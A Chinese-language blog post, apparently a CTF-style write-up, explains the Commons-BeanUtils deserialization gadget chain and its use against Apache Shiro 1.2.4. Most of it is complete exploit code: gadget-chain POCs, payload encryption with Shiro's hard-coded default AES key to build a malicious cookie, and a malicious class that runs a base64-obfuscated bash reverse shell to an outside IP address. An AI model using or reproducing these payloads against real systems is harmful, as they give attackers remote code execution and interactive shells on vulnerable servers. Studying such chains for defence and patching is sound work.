March 29, 2023

ShiroのCommonBeanUtils利用链

零、介绍

Shiro的CB链其实就是CC链做一些小改,因为Shiro框架首先是自带Commoncollections这个包的,除此之外还带了一个包叫做Common BeanUtils包,这个包就是本文的重点
这个包的作用本来是为了让我们方便对bean对象的属性进行各种操作而存在的,但是可以被当成CC链的跳板使用

一、回顾CommonCollections4利用链

在CC4中有如下图中调用的一条链

1
2
3
4
5
6
7
8
9
10
11
12
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()

这个链是进行恶意类加载的,其中用到了CommonCollection的类都有:

主要是第一个,后面三个在接下来会发现不需要用到

二、Common-BeanUtils利用链

CB链和CC4的异同点就在于触发compare这个地方,也就是在CB链中哪里调用了compare方法,进而连接上链子
通过Codeql或者tabby可以找到(这里推荐codeql,tabby建议用来找长链子,codeql来找单个类)BeanComparator这个类
image.png
这个类的compare方法调用了PropertyUtils.getProperty方法
这个类实际上会进行一个任意类的get方法调用
image.png
我们可以调用任意bean(class)的一个get方法去获取property属性,关于这一点我们可以写个Demo测试一下

(1)任意get调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

/**
* Hello world!
*
*/
public class App

{
public static void main( String[] args ) throws Exception {
PropertyUtils.getProperty(new User("test","111"), "name");
}

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

public class User {
private String name="Boogipop";
private String age;

public String getName() {
System.out.println("get");
return name;
}

public void setName(String name) {
System.out.println("set");
this.name = name;
}

public User(String name, String age) {
this.name = name;
this.age = age;
}

public String getAge() {
System.out.println("get");
return age;
}

public void setAge(String age) {
System.out.println("set");
this.age = age;
}
}

运行后会发现调用了get方法
image.png

(2)任意类实例化

那么很容易就联想的到TempaltesImpl类进行恶意类实例化,因为该类有一个方法叫做
getOutputProperties()这方法里面会进而触发任意类的实例化,从而执行命令,这个恶意类必须继承AbstractTranslet类,否则实例化失败,这都是之前学CC4讲的,这里直接放个链接
Java反序列化研究

(3)CB链POC编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

/**
* Hello world!
*
*/
public class App

{
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main( String[] args ) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// 为了能够继续走下去,priority的size必须大于等于2
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}

这个POC中唯一需要注意的地方就是这个queue.add调用2次是为了能够正常的进行反序列化,因为最小大小是需要2的,这个下面分析的时候我会说明
image.png
运行后成功弹出计算器,其中的依赖文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>shiroattack</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>

<name>shiroattack</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
</dependencies>
</project>

(4)POC链调试分析

最外面套的还是优先队列PriorityQueue,因此在它的readObject方法上打上断点(其实CC4调了一遍,复古一次)
image.png
调用heapify方法,跟进
image.png
这里由于我们先前add了两次,因此是2,假如不add的话就是0,那么再减去1就是-1,,也就无法继续走进siftDown方法,进而无法RCE,这就是之前埋下的坑,这里siftDown的第二个参数是queue数组,我们再POC中反射修改为2个恶意templatesimpl对象:
image.png
继续跟进
image.png
这里的k是0,v就是恶意templatesimpl,随即进入siftDownUsingComparator方法
image.png
进行一系列的位移操作,chind索引为1,然后c也就是索引为1也就是数组中第二个obj,由于我们传入的2个obj都一样,所以进入compare方法的两个obj都是TemplatesImpl
image.png
调用一开始说的getProperty方法,也就是会调用任意get,剩下的就是Templates链的内容了,温习一遍。
image.png
newTransformer()
image.png
getTransletInstance()
image.png
最后NewInstance RCE

三、Shiro550 Attack

(1)环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
由于要JDK7太麻烦了就不搭建了(浪费了点时间,得吃饭了)
这里我直接拉镜像了XD
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

(2)POC分析

其实Shiro 550用的就是上面的链子,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在最后生成的Base64字符串再进行一次AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

/**
* Hello world!
*
*/
public class App

{
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main( String[] args ) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}

在当前环境中shiro中是没有cc依赖的,因此运行上述poc会出现一个报错:
image.png
image.png
虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面:
image.png
因此无法找到该类,也就报错了

(3)无依赖Attack Shiro

问题所在点也就是Compare方法上
image.pngimage.png
如果不传入Comparator的话,那么默认就是ComparableComparator,因此我们需要指定一个Comparator

通过IDEA的功能,我们找到一个CaseInsensitiveComparator:
image.png
这样就可以不报错了,但是触发流程还是在get触发的,这个只是为了不报错
因此最终POC确立为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

/**
* Hello world!
*
*/
public class App

{
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main( String[] args ) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("2");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
//System.out.println(barr);
//ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//Object o = (Object)ois.readObject();
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjQuMjM1LjE3Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

image.png
收获反弹shell一枚~

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF